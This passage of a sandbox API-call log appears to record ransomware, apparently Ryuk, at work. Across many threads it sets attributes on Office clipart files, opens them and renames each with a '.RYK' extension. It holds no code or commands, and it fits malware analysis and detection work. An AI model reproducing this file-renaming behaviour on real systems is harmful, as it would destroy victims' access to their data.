	[0246.627] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02270_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02270_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0246.627] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0246.628] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02270_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02270_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02270_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02270_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2658
	os_tid = 0x2f64

	[0246.629] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02278_.WMF", dwFileAttributes=0x80) returned 0
	[0247.132] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02278_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02278_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0247.619] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0247.619] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02278_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02278_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02278_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02278_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2659
	os_tid = 0x2f68

	[0246.630] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02280_.WMF", dwFileAttributes=0x80) returned 0
	[0247.132] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02280_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02280_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0247.617] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0247.617] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02280_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02280_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02280_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02280_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2660
	os_tid = 0x2f6c

	[0246.631] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02282_.WMF", dwFileAttributes=0x80) returned 0
	[0247.132] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02282_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02282_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0247.616] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0247.616] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02282_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02282_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02282_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02282_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2661
	os_tid = 0x2f70

	[0246.632] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02285_.WMF", dwFileAttributes=0x80) returned 0
	[0247.133] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02285_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02285_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0247.615] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0247.615] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02285_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02285_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02285_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02285_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2662
	os_tid = 0x2f74

	[0246.633] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02287_.WMF", dwFileAttributes=0x80) returned 0
	[0247.133] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02287_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02287_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0247.614] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0247.614] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02287_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02287_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02287_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02287_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2663
	os_tid = 0x2f78

	[0246.634] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02288_.WMF", dwFileAttributes=0x80) returned 0
	[0247.133] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02288_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02288_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0247.612] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0247.612] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02288_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02288_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02288_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02288_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2664
	os_tid = 0x2f7c

	[0246.636] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02293_.WMF", dwFileAttributes=0x80) returned 0
	[0247.134] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02293_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02293_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0247.611] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0247.611] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02293_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02293_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02293_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02293_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2665
	os_tid = 0x2f80

	[0246.637] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02296_.WMF", dwFileAttributes=0x80) returned 0
	[0247.134] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02296_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02296_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0247.610] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0247.610] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02296_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02296_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02296_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02296_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2666
	os_tid = 0x2f84

	[0246.638] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02369_.WMF", dwFileAttributes=0x80) returned 0
	[0247.134] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02369_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02369_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0247.135] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0247.135] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02369_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02369_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02369_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02369_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2667
	os_tid = 0x2f88

	[0246.639] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02522_.WMF", dwFileAttributes=0x80) returned 0
	[0246.639] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02522_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02522_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0246.640] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0246.640] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02522_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02522_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02522_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02522_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2668
	os_tid = 0x2f8c

	[0247.136] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02950_.WMF", dwFileAttributes=0x80) returned 0
	[0247.136] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02950_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02950_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0247.136] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0247.136] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02950_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02950_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02950_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02950_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2677
	os_tid = 0x2fcc

	[0247.137] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02957_.WMF", dwFileAttributes=0x80) returned 0
	[0247.137] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02957_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02957_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0247.137] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0247.137] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02957_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02957_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02957_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02957_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2678
	os_tid = 0x2fd0

	[0247.138] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03236_.WMF", dwFileAttributes=0x80) returned 0
	[0247.138] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03236_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03236_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0247.139] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0247.139] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03236_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03236_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03236_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03236_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2679
	os_tid = 0x2fd4

	[0247.140] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03241_.WMF", dwFileAttributes=0x80) returned 0
	[0247.626] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03241_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03241_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0247.626] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0247.626] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03241_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03241_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03241_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03241_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2680
	os_tid = 0x2fd8

	[0247.141] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03257_.WMF", dwFileAttributes=0x80) returned 0
	[0247.141] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03257_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03257_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0247.141] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0247.141] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03257_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03257_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03257_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03257_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2681
	os_tid = 0x2fdc

	[0247.142] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03331_.WMF", dwFileAttributes=0x80) returned 0
	[0247.627] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03331_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03331_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0247.628] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0247.628] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03331_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03331_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03331_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03331_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2682
	os_tid = 0x2fe0

	[0247.143] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03339_.WMF", dwFileAttributes=0x80) returned 0
	[0247.629] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03339_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03339_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0247.629] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0247.629] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03339_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03339_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03339_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03339_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2683
	os_tid = 0x2fe4

	[0247.144] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03451_.WMF", dwFileAttributes=0x80) returned 0
	[0247.630] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03451_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03451_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0247.630] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0247.631] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03451_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03451_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03451_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03451_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2684
	os_tid = 0x2fe8

	[0247.219] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03453_.WMF", dwFileAttributes=0x80) returned 0
	[0247.643] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03453_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03453_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0247.643] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0247.643] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03453_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03453_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03453_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03453_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2685
	os_tid = 0x2ff0

	[0247.220] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03459_.WMF", dwFileAttributes=0x80) returned 0
	[0247.645] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03459_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03459_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0247.645] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0247.645] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03459_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03459_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03459_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03459_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2686
	os_tid = 0x2ff4

	[0247.221] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03464_.WMF", dwFileAttributes=0x80) returned 0
	[0247.647] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03464_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03464_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0247.647] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0247.647] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03464_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03464_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03464_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03464_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2687
	os_tid = 0x2ff8

	[0247.222] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03466_.WMF", dwFileAttributes=0x80) returned 0
	[0247.648] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03466_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03466_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0247.649] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0247.649] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03466_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03466_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03466_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03466_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2688
	os_tid = 0x2ffc

	[0247.270] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03470_.WMF", dwFileAttributes=0x80) returned 0
	[0247.723] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03470_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03470_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0247.723] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0247.723] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03470_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03470_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03470_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03470_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2689
	os_tid = 0x2b30

	[0247.724] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03513_.WMF", dwFileAttributes=0x80) returned 0
	[0248.066] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03513_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03513_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0248.067] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0248.067] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03513_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03513_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03513_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03513_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2701
	os_tid = 0x3014

	[0247.725] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03668_.WMF", dwFileAttributes=0x80) returned 0
	[0247.726] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03668_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03668_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0247.726] CloseHandle (hObject=0xffffffffffffffff) returned 0
